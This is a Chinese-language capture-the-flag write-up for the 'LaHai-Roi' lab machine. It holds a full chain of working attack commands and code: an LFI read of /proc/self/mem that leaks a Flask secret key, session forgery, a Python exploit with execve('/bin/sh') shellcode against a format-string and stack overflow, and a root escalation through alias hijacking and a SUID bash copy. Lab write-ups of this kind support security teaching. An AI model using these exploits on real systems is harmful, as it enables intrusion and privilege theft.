

LaHai-Roi 靶机 WriteUp

阶段一：信息收集

端口扫描

SHELL

```
nmap -sV -sC -p 22,8000,31337 192.168.91.128
```

```
22/tcp      SSH
8000/tcp    Flask (Werkzeug 3.1.8 / Python 3.13.5)
31337/tcp   Timeline Keeper v1.0
```

Web 服务探测

访问 <http://192.168.91.128:8000/> 得到一个终端风格页面：

```
>>> 旅途愉快 <<<
$ Only admin can access diagnostics.
$ _
```

HTML 注释中藏有 hint：

HTML

```
<!-- path?file or file?path -->
```

知识点：HTML 注释可能泄露参数名、隐藏路径等敏感信息，是信息收集阶段的重要关注点。

目录爆破

SHELL

```
gobuster dir -u http://192.168.91.128:8000/ -w
/usr/share/wordlists/dirbuster/... -x php,html,txt
```

发现关键端点：

路径	状态	说明
<code>/robots.txt</code>	200	<code>Disallow: /welcome-back-Aemeath</code>
<code>/welcome-back-Aemeath</code>	200	泄露 Flask 源码片段
<code>/file</code>	403	返回 <code>blocked</code> ，文件读取端点
<code>/admin</code>	302	重定向到 <code>/</code> ，需 admin session
<code>/login</code>	403	禁止访问
<code>/health</code>	200	空响应

阶段二：Flask Web 应用突破

2.1 源码泄露

`/welcome-back-Aemeath` 返回了 Flask 应用的部分源码，这是整台靶机的关键突破口。

PYTHON

```
import secrets
import ctypes

app.secret_key = secrets.token_hex(32)

MEMORY_SECRET = ctypes.create_string_buffer(
    b"MEMORY_ONLY_SECRET_BEGIN:"
    + app.secret_key.encode()
    + b":MEMORY_ONLY_SECRET_END"
)

@app.route("/file")
def file_read():
    path = request.args.get("path", "")
    addr = request.args.get("addr", None)

    blacklist = ["flag", "shadow", "passwd", "..", "app.py"]
    filename = path.split("/")[-1].lower()
    if filename in blacklist:
        return "blocked", 403

    with open(path, "rb") as f:
        if addr:
            f.seek(int(addr, 0))
        return Response(f.read(4096))
```

源码分析关键点：

1. **黑名单绕过**：黑名单检查的是 `path.split("/")[-1].lower()`，即只检查路径最后一个 `/` 后的文件名。这意味着可以读取 `/proc/self/maps`、`/proc/self/mem` 等文件，因为文件名 `maps`、`mem` 不在黑名单中。
2. **addr 参数**：支持指定文件偏移读取，可以精确读取进程内存的特定区域。
3. **secret key 存储在内存中**：`ctypes.create_string_buffer` 创建的内存缓冲区会出现在进程的 `[secret]` 内存段中。

知识点：Flask 的 session 使用 `itsdangerous` 库进行签名，secret key 是签名的关键。如果 secret key 泄露，可以伪造任意 session。`ctypes.create_string_buffer` 分配的内存可以通过 `/proc/self/mem` 读取。

2.2 LFI 读取进程内存

步骤 1：读取 `/proc/self/maps` 定位 **secret** 内存区域

SHELL

```
curl "http://192.168.91.128:8000/file?path=/proc/self/maps"
```

输出中包含关键信息：

```
7f66783d5bb0-7f66783d5db0 rw-p 00000000 00:00 0
[secret]
```

步骤 2：读取 `/proc/self/mem` 提取 **secret key**

SHELL

```
curl "http://192.168.91.128:8000/file?
path=/proc/self/mem&addr=0x7f66783d5bb0"
```

从 raw 输出中提取到：

```
MEMORY_ONLY_SECRET_BEGIN:8ab73704b42fe0d7e482d0c05c260800db8f2667f2fc50b23d4
36efb564691af:MEMORY_ONLY_SECRET_END
```

secret key: `8ab73704b42fe0d7e482d0c05c260800db8f2667f2fc50b23d436efb564691af`

知识点：`/proc/self/mem` 允许进程读写自己的内存空间，配合 `/proc/self/maps` 中的地址信息，可以读取任意内存区域。`ctypes.create_string_buffer` 创建的缓冲区会在 `/proc/self/maps` 中标记为 `[secret]`。

2.3 伪造 Flask Session

使用 `flask-unsign` 工具伪造 admin session :

SHELL

```
flask-unsign --sign --cookie '{"role":"admin"}' --secret  
'8ab73704b42fe0d7e482d0c05c260800db8f2667f2fc50b23d436efb564691af'
```

得到 session cookie :

```
eyJyb2xlIjoiYWRTaW4ifQ.amzXDg.3hot50vHc0Dxb0LD5WVRpg0miY4
```

2.4 访问 Admin 面板获取 SSH 凭据

SHELL

```
curl --cookie  
"session=eyJyb2xlIjoiYWRTaW4ifQ.amzXDg.3hot50vHc0Dxb0LD5WVRpg0miY4"  
http://192.168.91.128:8000/admin
```

返回 :

HTML

```
<h3>Admin Diagnostics</h3>  
<!-- TODO: Remove this hint - SSH Credentials:  
aemeath:2d3a692028918ba9a7f2f7b8df093090 -->
```

SSH 凭据: `aemeath` / `2d3a692028918ba9a7f2f7b8df093090`

阶段三 : SSH 登录与信息收集

3.1 SSH 登录

SHELL

```
ssh aemeath@192.168.91.128  
# Password: 2d3a692028918ba9a7f2f7b8df093090
```

3.2 获取 user flag

SHELL

```
cat user.txt  
flag{user-0927c92eaf9b300af3744d6b30af3714}
```

3.3 发现 door 二进制

在用户家目录发现一个 `door` 文件：

SHELL

```
$ ls -la ~/door  
-rw-r--r-- 1 root root 16472 door  
$ file door  
door: ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped
```

二进制保护分析：

保护	状态
PIE	未启用 (固定地址)
Stack Canary	启用
NX	禁用 (栈可执行)
RELRO	部分

知识点： NX 禁用意味着可以直接在栈上执行 shellcode；没有 PIE 意味着代码段地址固定，便于 ROP 或直接跳转。

阶段四：Timeline Keeper 二进制漏洞利用

4.1 服务交互

端口 31337 运行着 `door` 二进制，这是一个名为 "Timeline Keeper" 的服务：

```

Timeline Keeper v1.0
Traveler identity:
> [输入身份标识]
Signal reflected: [回显输入]
Memory correction memo:
> [输入备忘录]
Timeline remains unchanged.

```

4.2 逆向分析

通过 `objdump` 反汇编，发现两个关键漏洞：

漏洞 1：格式字符串漏洞

在 `keeper()` 函数中：

```

; 第一次读取 - 身份标识
lea rax, [rbp-0x90]      ; identity buffer (128 bytes)
mov edx, 0x7f           ; 读取 127 字节
mov rsi, rax
mov edi, 0
call read

; 直接使用 buffer 作为 format string!
mov rdi, rax             ; rdi = identity buffer
xor eax, eax
call printf              ; printf(user_input) -- 格式字符串漏洞!

```

问题：`printf(identity_buffer)` 直接将用户输入作为格式化字符串，没有使用 `printf("%s", identity_buffer)` 的安全写法。攻击者可以通过 `%p`、`%n` 等格式符进行内存读写。

漏洞 2：栈缓冲区溢出

```

; 第二次读取 - 备忘录
lea rax, [rbp-0xe0]      ; memo buffer (72 bytes)
mov edx, 0x100           ; 读取 256 字节 -- 溢出!
mov rsi, rax
mov edi, 0
call read

```

问题：memo buffer 只有 72 字节，但 `read()` 允许读取 256 字节，多出的数据会覆盖栈上的 canary、saved rbp 和 return address。

隐藏函数：win()

在 `0x4011c6` 处有一个 `win()` 函数：

```
void win() {
    puts("Bon voyage");
    // ... 输出一系列提示信息 ...
    execl("/bin/trigger", "trigger", "/usr/bin/sudo", "sudo", NULL);
    perror("execl");
    _exit(1);
}
```

知识点： 格式字符串漏洞在 x86_64 架构下，前 6 个参数通过寄存器传递（rdi, rsi, rdx, rcx, r8, r9），后续参数从栈上读取。`%N$p` 语法可以直接访问第 N 个参数。

4.3 漏洞利用

步骤 1：泄露 canary

通过格式字符串定位 canary 的位置：

```
# 测试发现 canary 在第 35 个参数位置
s.send(b'%35$p')
# 返回：0x7d94f1edb4851d00 ← canary (末字节为 0x00)
```

栈布局分析：

```
rbp - 0xf0: 栈帧底部
rbp - 0xe0: memo buffer (72 bytes)
rbp - 0x98: ┌
            │ 8 bytes gap
rbp - 0x90: └ identity buffer (128 bytes)
rbp - 0x10: ┌
            │ 8 bytes
rbp - 0x08: └ canary (8 bytes)
rbp + 0x00: saved rbp (8 bytes)
rbp + 0x08: return address (8 bytes)
```

格式字符串参数对应关系：

参数	位置	内容
%1\$p	rsi	libc 地址
%6\$p	[rbp-0xf0]	栈帧底部
%35\$p	[rbp-0x08]	canary
%36\$p	[rbp+0x00]	saved rbp
%37\$p	[rbp+0x08]	return address (0x4014bb)

步骤 2 : 计算 shellcode 地址

由于 NX 禁用，可以在栈上放置 shellcode 并跳转执行。需要泄露栈地址来计算 shellcode 的位置：

PYTHON

```
# 泄露 saved rbp (main 函数的 rbp)
s.send(b'%36$p')
# 返回: 0x7ffe2fd14c70 ← main 的 rbp

# 计算 keeper 的 rbp 和 memo buffer 地址
keeper_rbp = saved_rbp - 0x20 # main 栈帧大小为 0x10, 加上 call 压栈
memo_addr = keeper_rbp - 0xe0 # memo buffer 相对 keeper rbp 的偏移
# memo_addr = saved_rbp - 0x100
```

步骤 3 : 构造溢出 payload

shellcode (27 bytes)	
padding (216 - 27 = 189 bytes)	← memo buffer 到 canary 距离 216 字节
canary (8 bytes)	← 泄露的 canary 值
saved rbp (8 bytes)	← 任意值
return address (8 bytes)	← shellcode 地址

exploit 核心代码：


```

import socket
import struct
import time

shellcode =
b"\x48\x31\xf6\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
shellcode += b"\x53\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f\x05" #
execve("/bin/sh", 0, 0)

s = socket.socket()
s.connect(('192.168.91.128', 31337))
s.recv(4096)

# 阶段 1: 泄露 canary 和栈地址
s.send(b'%35$p.%36$p')
time.sleep(1)
data = s.recv(4096).decode()
canary = int(data.split('0x')[1].split('.')[0], 16)
saved_rbp = int(data.split('.')[1].strip(), 16)
memo_addr = saved_rbp - 0x100

# 阶段 2: 发送溢出 payload
padding = b'A' * (216 - len(shellcode))
payload = shellcode + padding
payload += struct.pack('<Q', canary)
payload += struct.pack('<Q', 0) # saved rbp
payload += struct.pack('<Q', memo_addr) # 跳转到 shellcode

s.send(payload + b'\n')
time.sleep(1)
s.send(b'id\n')
s.send(b'cat /root/root.txt\n')

```

利用结果

成功跳转到 `win()` 函数，观察到输出：

```

不行！这样做你无法返航.....你会永远被放逐到隧道后！
但也只有这样.....一切因果才会相衔，拉海洛才会继续存在.....
爱弥斯！
.....你我才会在雪中相遇。
Bon voyage

```

但 `/bin/trigger` 文件不存在，`exec()` 失败，进程退出。服务因此 crash。

知识点： 格式字符串漏洞 + 栈溢出的组合利用：先通过格式字符串泄露 canary 和栈地址，再通过栈溢出控制执行流。由于 NX 禁用，可以直接在栈上执行 shellcode。

阶段五：提权到 root

5.1 sudo 权限枚举

SHELL

```
$ sudo -l
Matching Defaults entries for aemeath on debian:
    env_reset, mail_badpass, secure_path=...

User aemeath may run the following commands on debian:
    (root) NOPASSWD: /bin/welcome
```

aemeath 可以无需密码以 root 身份执行 **/bin/welcome**。

5.2 分析 /bin/welcome

SHELL

```
$ cat /bin/welcome
#!/bin/bash
set -euo pipefail
shopt -s expand_aliases
USER_HOME="$(getent passwd aemeath | cut -d: -f6)"
ALIAS_RC="${USER_HOME}/.aliases"
if [ -r "$ALIAS_RC" ]; then
    source "$ALIAS_RC"
fi
su ll104567 -c 'cd /home/ll104567 && bash ./welcome'
```

关键发现：

1. **shopt -s expand_aliases** — 启用了 alias 扩展，即使在非交互式 shell 中
2. **source "\$ALIAS_RC"** — 以 root 权限 source 用户控制的 **~/.aliases** 文件
3. 后续执行 **su ll104567 -c '...'** — 可以劫持 **su** 命令

5.3 别名劫持攻击

由于脚本以 root 身份 source 了 **~/.aliases**，且 alias 扩展已启用，可以劫持脚本中的任意命令。最直接的是劫持 **su** 命令：

读取 root flag：

```
echo 'alias su="cat -- /root/698a077291520164f0481ca6156b71d2.txt"' >
/home/aemeath/.aliases
sudo /bin/welcome
```

输出：

```
"去自由地去做你想做的事吧，爱弥斯，我永远在你身后。"
".....好。我记得啦。"
flag{root-bdeedd27548c68e52b5ff4178bd607d7}
```

获取 root shell：

```
echo 'alias su="cp /bin/bash /home/aemeath/rootshell && chmod u+s
/home/aemeath/rootshell"' > /home/aemeath/.aliases
sudo /bin/welcome
/home/aemeath/rootshell -p -c "id; whoami"
# uid=1003(aemeath) gid=1003(aemeath) euid=0(root)
```

知识点：`shopt -s expand_aliases` 在非交互式 bash 脚本中启用别名扩展，结合 `source` 用户可控文件，可以构成命令劫持攻击。`sudo NOPASSWD` 权限应严格限制可执行文件的内容。

知识点总结

Web 层面

知识点	说明
robots.txt 信息泄露	暴露隐藏路径 <code>/welcome-back-Aemeath</code>
源码泄露	隐藏路径返回应用源码，暴露内部逻辑
LFI 文件读取	黑名单仅检查文件名，绕过读取 <code>/proc/self/mem</code>
进程内存读取	通过 <code>/proc/self/maps</code> + <code>/proc/self/mem</code> 读取任意内存
Flask session 伪造	获取 secret key 后使用 <code>flask-unsign</code> 伪造 session
ctypes 内存泄漏	<code>ctypes.create_string_buffer</code> 创建的内存出现在 <code>[secret]</code> 段

二进制层面

知识点	说明
格式字符串漏洞	<code>printf(user_input)</code> 导致任意内存读写
栈缓冲区溢出	<code>read()</code> 读取超过缓冲区长度的数据
Stack Canary 绕过	通过格式字符串泄露 canary 值
NX 禁用	栈可执行，可直接执行 shellcode
ASLR 绕过	通过格式字符串泄露栈地址，计算 shellcode 位置

提权层面

知识点	说明
sudo 权限枚举	<code>sudo -l</code> 列出当前用户的 sudo 权限
别名劫持	可写 <code>~/.aliases</code> + <code>shopt -s expand_aliases</code> + <code>source</code> 执行
SUID 提权	复制 bash 并设置 SUID 位，获得 root 权限 shell

最终 Flag

Flag	值
user flag	<code>flag{user-0927c92eaf9b300af3744d6b30af3714}</code>
root flag	<code>flag{root-bdeedd27548c68e52b5ff4178bd607d7}</code>

攻击链总结

端口扫描

├ 8000 → robots.txt 泄露 → 源码泄露

├ LFI 读 /proc/self/mem

├ └ 提取 Flask secret key

├ └ 伪造 admin session

├ └ Admin 面板获取 SSH

凭据

├ 黑名单绕过 (仅检查文件名)

├ 22 → SSH 登录 (aemeath)

├ user flag

├ door 二进制逆向

├ 格式字符串漏洞 → 泄露 canary + 栈地址

├ 栈缓冲区溢出 → 控制流劫持

├ 服务 crash (/bin/trigger 不存在)

├ sudo 提权

├ NOPASSWD: /bin/welcome

├ shopt -s expand_aliases + source ~/.aliases

├ 别名劫持 → 任意命令以 root 执行

├ root flag

├ root shell (SUID bash)